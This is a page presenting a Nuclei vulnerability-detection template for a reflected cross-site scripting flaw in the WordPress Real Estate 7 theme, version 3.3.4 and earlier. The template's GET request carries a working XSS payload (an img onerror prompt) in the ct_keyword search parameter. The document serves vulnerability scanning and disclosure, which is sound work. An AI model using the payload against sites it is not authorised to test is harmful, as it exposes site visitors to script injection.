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WordPress Real Estate 7 Theme <= 3.3.4 - Cross-Site Scripting

ID: wp-real-estate-xss

Severity: medium

Author: Harsh

Tags: packetstorm,wordpress,wp-theme,wp,xss,realestate

Description

Section titled “Description”

The Real Estate 7 premium theme for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) attack vector in versions up to, and including, v3.3.4 via the ‘ct_additional_features’ option due to insufficient input sanitization and output escaping. This vulnerability allows unauthenticated attackers to inject malicious JavaScript payload in the search page that execute if they can trick a user into performing an action such as clicking on a link.

YAML Source

Section titled “YAML Source”
id: wp-real-estate-xss


info:
  name: WordPress Real Estate 7 Theme <= 3.3.4 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The Real Estate 7 premium theme for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) attack vector in versions up to, and including, v3.3.4 via the 'ct_additional_features' option due to insufficient input sanitization and output escaping. This vulnerability allows unauthenticated attackers to inject malicious JavaScript payload in the search page that execute if they can trick a user into performing an action such as clicking on a link.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39344
    - https://packetstormsecurity.com/files/171186/WordPress-Real-Estate-7-Theme-3.3.4-Cross-Site-Scripting.html
    - https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
    cpe: cpe:2.3:a:contempothemes:real_estate_7:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/themes/realestate-7/"
    product: real_estate_7
    vendor: contempothemes
  tags: packetstorm,wordpress,wp-theme,wp,xss,realestate


http:
  - method: GET
    path:
      - "{{BaseURL}}/?ct_keyword=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E&ct_city=0&ct_state=0&ct_zipcode=0&search-listings=true&ct_property_type=0&ct_beds=0&ct_baths=0&ct_price_from&ct_price_to"


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<img src=x onerror=prompt(document.domain)>")'
          - 'contains(body, "/wp-content/themes/realestate-7/")'
        condition: and
# digest: 4a0a0047304502202719aeff385d74065f0b0f874504b56503616518964344d3cdfa453a18be3405022100e6d9c17c6c1f78ca3ff4b81f52920d90163eea84186a1d45bdf3650b631d6902:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-real-estate-xss.yaml"

View on Github